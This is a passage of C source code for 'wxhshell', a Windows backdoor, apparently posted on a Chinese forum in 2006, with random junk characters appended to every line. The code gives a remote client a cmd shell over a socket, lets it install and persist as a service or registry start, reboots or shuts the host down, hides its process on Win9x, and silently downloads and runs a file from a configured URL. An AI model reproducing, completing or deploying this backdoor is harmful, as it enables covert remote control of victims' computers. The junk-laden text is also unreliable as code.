    switch(cmd[0]) { oVW?d]R  
  7<D_ h/WV  
  // 帮助 T`sM4 VWqU  
  case '?': { SZvsJ)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mGvP9E"&  
    break; @jKB!z9{  
  } $ 1U%E  
  // 安装 <H6Uo#ao  
  case 'i': { 7ZZt|bl  
    if(Install()) K#r` ^aUc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I]X<L2  
    else kZQ;\QL1}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UhK,H   
    break; GWKefH  
    } v<1;1m  
  // 卸载 NO ^(D+9  
  case 'r': { QUf_fe!,|  
    if(Uninstall()) mz1g8M`@[D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T*m21<  
    else p<4':s;*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~vmY 2h\  
    break; ) |vFrR  
    } soF^G21N  
  // 显示 wxhshell 所在路径 g 7X>i:  
  case 'p': { |:z%7J3wP  
    char svExeFile[MAX_PATH]; Yo:&\a K[  
    strcpy(svExeFile,"\n\r"); tPsU7bFk  
      strcat(svExeFile,ExeFile); odDt.gQXU  
        send(wsh,svExeFile,strlen(svExeFile),0); DxHeZQ"LL  
    break; 7f>n`nq?  
    } rtm28|0H'  
  // 重启 4hIC&W~f  
  case 'b': { \m&:J >^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r DuG["  
    if(Boot(REBOOT)) k"J?-1L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zVu}7v()  
    else { OK=t)6&b  
    closesocket(wsh); GF&"nW9A  
    ExitThread(0); 5 *_#"  
    } /l L*U  
    break; @kw=0  
    } \#slZ;&s  
  // 关机 [z\*Zg  
  case 'd': { ( C&f~U  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lV8Mr6m  
    if(Boot(SHUTDOWN)) N5^:2ag  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Q.[W`goV  
    else { b11C3TyQT  
    closesocket(wsh); *RPI$0  
    ExitThread(0); zw?6E8$h  
    } C$8=HM3  
    break; e 6*=Si}V  
    } *3|KbCX  
  // 获取shell NQmDm!-4  
  case 's': { zx27aZ[  
    CmdShell(wsh); 3?:}lY<,  
    closesocket(wsh); Eq t61O$x  
    ExitThread(0); dSbV{*B;>  
    break; -t]0DsPg  
  } i|*:gH  
  // 退出 OR3TRa XD  
  case 'x': { A.n1|Q#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RW 5T}  
    CloseIt(wsh); a^BD55d?  
    break; T~la,>p|}  
    } c}A^0,"z>  
  // 离开 AOpfByw  
  case 'q': { D+OkD-8q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gIeo7>u  
    closesocket(wsh); [eImP V]  
    WSACleanup(); \gdd  
    exit(1); Z,*VRuA  
    break; ; ?!sU  
        } t1kD5^  
  } 95}"AIi  
  } &A~1Q#4  
n}2}4^  
  // 提示信息 Rzp-Q5@M Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C4y<+G.`  
} pxgv(:Tw  
  } I8m(p+Z=  
E)Dik`Ccl  
  return; sB $!X@  
} !*p lK6a  
:H~r _>E  
// shell模块句柄 !)GPI?{^5  
int CmdShell(SOCKET sock) K|iNEhuc  
{ rS=6d6@  
STARTUPINFO si; B$)KZR(u  
ZeroMemory(&si,sizeof(si)); `+U-oqs  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ab2VF;z :  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1!~9%=%  
PROCESS_INFORMATION ProcessInfo; |nD`0Rbw  
char cmdline[]="cmd"; IySlu^a  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); + EM '-  
  return 0; 7Ev~yY;N  
} d%WFgf}  
>6Q-e$GS@  
// 自身启动模式 \o/oM,u  
int StartFromService(void) PWTAy\  
{ #N*~Q  
typedef struct p0Vw@R=  
{ o;t{YfK  
  DWORD ExitStatus; ~`y6YIJ3  
  DWORD PebBaseAddress; B|!Re4`0  
  DWORD AffinityMask; d6u L;eR  
  DWORD BasePriority; )9}z^+TH  
  ULONG UniqueProcessId; }RXm=ArN  
  ULONG InheritedFromUniqueProcessId; dme_Ivt  
}   PROCESS_BASIC_INFORMATION; *h`zV<j  
'i}Q R~pe  
PROCNTQSIP NtQueryInformationProcess; [xHK^JP 8F  
.^/OL}/~<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ss*dM.b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; STO6cNi  
T3\Q<  
  HANDLE             hProcess; @hk~8y]rz  
  PROCESS_BASIC_INFORMATION pbi; 6b@:La  
!y6 D+<k*]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X"yLo8y8$  
  if(NULL == hInst ) return 0; dD=dPi#  
q?`bu:yS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0 ~VniF^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^*Sb)tu\ W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j#29L"  
gP`8hNwR  
  if (!NtQueryInformationProcess) return 0; vuHqOAFNs  
m/<7FU8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Uc.K6%iI  
  if(!hProcess) return 0; \ZXH(N*>2t  
]2?t $"G8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z O&5C6qa  
=YR/|9(  
  CloseHandle(hProcess); 9\V^q9l  
1%H]2@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0C7x1:  
if(hProcess==NULL) return 0; G"wy?  
0Y{A  
HMODULE hMod; [^#6.xH  
char procName[255];  IS!sJc  
unsigned long cbNeeded; moh7:g  
Nb-;D)W;B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1I_(!F{Ho  
(Ori].{C.J  
  CloseHandle(hProcess); kA fkQy(~  
 IG 6yt  
if(strstr(procName,"services")) return 1; // 以服务启动 q45Hmz  
h60*=+vdJ  
  return 0; // 注册表启动 -Zkl\A$>  
} Mc9%s$MT  
c{z QX0  
// 主模块 >a[)F  
int StartWxhshell(LPSTR lpCmdLine) >osY?9  
{ +[ !K  
  SOCKET wsl; LyH{{+V  
BOOL val=TRUE; -|T.APxB  
  int port=0; SO9j/  
  struct sockaddr_in door; 2ACN5lyUS  
L'.7V ~b{  
  if(wscfg.ws_autoins) Install(); I6~.sTl  
= oQ-I  
port=atoi(lpCmdLine); Y`w+?}(M  
_uID3N%  
if(port<=0) port=wscfg.ws_port; *zJ}=%)f  
e+j7dmGa  
  WSADATA data; .hXxh)F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q YPsqkF*  
Ap=L lZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uD_iyK0,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "1t%J7c_  
  door.sin_family = AF_INET; 7?xTJN)G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rUR{MF&]D  
  door.sin_port = htons(port); O$+0 .  
O)n"a\LD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eNR>W>;'  
closesocket(wsl); Pd6p)zj  
return 1; ycTX\.KV  
} !ffdeWHR  
{%*,KB>b  
  if(listen(wsl,2) == INVALID_SOCKET) { ?Mtd3F^o?  
closesocket(wsl); OW;]= k/(  
return 1; u,I_p[`E  
} 0"#'Z>"  
  Wxhshell(wsl); 4 cDjf~n  
  WSACleanup(); qS:hv&~  
-W<x|ph U  
return 0; 8c3Qd  
q#$Al  
} A!\ g!*  
gs7h`5[es  
// 以NT服务方式启动 cxn3e,d`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q/xT>cUd  
{ /_rEI,[k  
DWORD   status = 0; ]c4?-Vq%u  
  DWORD   specificError = 0xfffffff; Dk[m)]w\  
9!&fak _  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V i V3Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dI};l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yY+)IU.  
  serviceStatus.dwWin32ExitCode     = 0; `83s97Sa  
  serviceStatus.dwServiceSpecificExitCode = 0; d0vn/k2I  
  serviceStatus.dwCheckPoint       = 0; ~PAF2  
  serviceStatus.dwWaitHint       = 0; $dIu${lu  
>MwjUq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 78T9"CS  
  if (hServiceStatusHandle==0) return; lV<2+Is  
LQ(z~M0B  
status = GetLastError(); 9%T~^V%T7  
  if (status!=NO_ERROR) }coSMTMv6  
{ ra2sYH1wr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l+`f\},  
    serviceStatus.dwCheckPoint       = 0; X:PB }  
    serviceStatus.dwWaitHint       = 0; Y">m g=B  
    serviceStatus.dwWin32ExitCode     = status; 1j"_@?H[  
    serviceStatus.dwServiceSpecificExitCode = specificError; &3~lZa;D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); CobMagPhr  
    return; Xf o3fW)s  
  } uyZ  
P@lDhzd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u_ou,RF  
  serviceStatus.dwCheckPoint       = 0; S{wR Z|8U  
  serviceStatus.dwWaitHint       = 0; #SyF-QZ[1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #e)A  
} lOB*M!8   
,41Z_h  
// 处理NT服务事件,比如:启动、停止 "x~VXU%xU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >v--R8I*  
{ $v5)d J  
switch(fdwControl) #y;TSHx/  
{ DD5 S R  
case SERVICE_CONTROL_STOP: ~0/tU#&  
  serviceStatus.dwWin32ExitCode = 0; jT/}5\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }(tuBJ9  
  serviceStatus.dwCheckPoint   = 0; nwSujD  
  serviceStatus.dwWaitHint     = 0; $$'a  
  { nz_=]PHO&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3>vSKh1z  
  } {P/ sxh:e  
  return; V;}kgWc1  
case SERVICE_CONTROL_PAUSE: V}=%/OY?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v_=xN^R  
  break; }#'I,?_k  
case SERVICE_CONTROL_CONTINUE: ^jY/w>UdH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; FVY$A =G  
  break; w(/#isC  
case SERVICE_CONTROL_INTERROGATE: CVxqNR*DN  
  break; - QPM$  
}; DpA"5RV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }7Lo}}  
} d6RO2^  
TgC8EcLr  
// 标准应用程序主函数 'DLgOUvh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 10.u  
{ I'sq0^  
`eZ +Pf".  
// 获取操作系统版本 -!_\4  
OsIsNt=GetOsVer(); 1=o|[7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `wGP31Y.  
,^Ug[pGG-  
  // 从命令行安装 ^ &UezDTS  
  if(strpbrk(lpCmdLine,"iI")) Install(); $4YyZ!_.@  
_T\/kJ)Q\  
  // 下载执行文件 ^v2-"mX<  
if(wscfg.ws_downexe) { AlPk o($E*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y&A0}>a:d  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6>  L)  
} J]h$4"  
{Tr5M o  
if(!OsIsNt) { ko7*9`  
// 如果时win9x,隐藏进程并且设置为注册表启动 [l`_2{:  
HideProc(); #k}x} rn<'  
StartWxhshell(lpCmdLine); 6I8A[   
} ,q_'l?Pn  
else p-CBsm5P  
  if(StartFromService()) \}:RG^*m  
  // 以服务方式启动 O8\>?4)  
  StartServiceCtrlDispatcher(DispatchTable); }8lvi vR4  
else 1&7~.S;km  
  // 普通方式启动 -=;V*;  
  StartWxhshell(lpCmdLine); _R/^P>Q?  
D6Q6yNE  
return 0; 5>S=f{ghFw  
}
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只看该作者 1 发表于: 2006-10-10
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